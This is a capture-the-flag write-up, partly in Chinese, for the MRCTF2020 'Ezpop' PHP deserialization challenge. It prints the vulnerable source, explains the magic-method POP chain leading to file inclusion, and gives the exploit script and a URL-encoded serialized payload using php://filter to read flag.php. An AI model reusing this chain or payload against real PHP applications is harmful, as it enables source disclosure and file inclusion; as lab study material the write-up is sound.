[MRCTF2020]Ezpop -wp

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

  public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }

反序列化时就会调用__wakeup()，其中会把source当做字符串处理，如果source是show()就可以触发__tostring，返回$this->str->source;，如果str是test()的话，就会去访问test（）里面的source属性，但里面没有，就会触发__get（）方法，如果p为Modifier（）的话，就会把类当做函数处理，这样就会触发Modifier（）里面的 __invoke()函数，这样就可以进行文件包含。
(魔术方法的一些触发条件可以参考提示的那个博客）

<?php
class Modifier {
   protected  $var="php://filter/convert.base64-encode/resource=flag.php";
   
}

class Show{
   public $source;
   public $str;  
   public function __construct($file){
       $this->source = $file;        
   }
}

class Test{
   public $p;
   
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);   //  把show（）传进去触发__tostring

//O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A1%3A%22s%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

pop提交就可以获得flag了